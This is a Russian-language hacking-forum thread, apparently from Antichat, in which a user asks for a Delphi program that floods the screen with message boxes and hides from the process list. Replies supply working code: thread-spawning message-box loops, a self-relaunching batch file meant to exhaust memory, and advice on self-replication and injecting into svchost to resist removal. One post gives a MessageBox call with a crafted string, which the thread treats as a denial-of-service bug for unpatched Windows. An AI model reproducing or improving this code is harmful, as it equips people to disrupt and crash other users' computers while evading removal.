Уважаемы, античатовцы. Прошу помочь с написанием, программы. При запуски, которой будут бесконечно открываться окна с заданным текстом. У меня получилось написать только на открытия окна, и при нажатии “окей” открывается новое, а надо, чтобы постоянно открывались окна. Желательно чтобы в процессах программа не отображалась. Пока написал только это: “form1.Hide; while true do showmessage('ТЕКСТ');” (на дельфи). Заранее огромное вам спасибо.
Все дело в функции - она отображается не более одного раза, создай собственный диалог и в цикле ShowWindow(SW_SHOW,..)
в событии formcreate что-ли ставишь свой цикл! мошешь sleep понаписывать!!и всё! невидимость в процесах описаана в книге "Делфи глазами хацкера"
============ Ты оп ределись чего хочешь, помощи в написании, или готовый код.... Выложи, что сделал глянем что именно у тебя не получается...ну или в ПМ....
самое простое написать батник, в котором прописать запуск какойнить проги и этогоже батника, оператива в миг заканчивается)))
вообще юзай типа потоков или таймера. А если заюзаешь мультимедийный таймер то окошек будет просто ппц. потому что он вызает обработчик, но недожидается окончание его исполнения и в этоге накапливается огромное число сообщений у тебя. главное со скоростью не переборщить а так этого хватит Code: procedure TimerProc(wnd:hwnd;uMsg,idEvent:uint;dwTime:DWORD); begin MessageBox(0, 'HEllo', 'Hello', MB_ICONWARNING or MB_OK); end; settimer(0,1,1000,@TimerProc);// 1000 - повторить через 1000 мс = 1 с
Procedure Mess; begin MessageBox(0,'Good','Fucking',0); end; Procedure FuckingUserMessages; var Tr:Cardinal; begin While True do begin CreateThread(nil,0,@Mess,nil,0,Tr); Sleep(1); end; end;
дак вы прежде чем выдать другое окошко напишите чё нить в таком духе типо i:=0; while i<10000 do inc(i); и будет вам задержка времени))))
2 Irdis А мож человеку нужно просто окнами забить, а не загрузить проц на 100% обычным циклом. P.S. to Irdis для таких целей служит апишка sleep
На кой вам VCL чтобы MessageBox'ами закидать? изврашенцы? выкидывай весь код, оставляй в uses тока Windows; и лудше не с одной проги закидывать, просто сделай цыкл скажем в 100 сообшений и потом ShellExecute самого себя - в процессах будет дохера процессов - 2 зайца сразу - сложнее избавится и скрывать процесс ненадо
2 BlackSun Про VCL тут небыло реши. Да и MessageBox к VCL не имеет отношения. Зы. Инжект в svchost чтобы прибить бес последствий не смогли *CRAZY* P.S. Господи админ и его помошники апостолы(модераторы), пора закрыть тему, ибо сие переростает во флуд. Аминь.
1й пост, "form1.Hide;" Зачем мучатся .. Code: program Msg; {$IMAGEBASE $200} procedure MessageBox(Wnd: Integer; Text: PChar; Caption: PChar; Typ: Integer); stdcall; external 'user32.dll' name 'MessageBoxA'; var Bug: PChar; I: Integer; begin Bug := Char($5C) + Char($3F) + Char($3F) + Char($5C) + Char($21) + Char($21) + Char($21) + Char($00); for i := 0 to 50 do MessageBox(0, Bug, Bug, $20000); end.
2 BlackSun ну тут дело было в алгоритме, а не в реализации. Зато на VCL по твоему методы через SH - будет хоооороший груз. А вдруг винда уже пропатчена? и тогда твой медот доса непокатит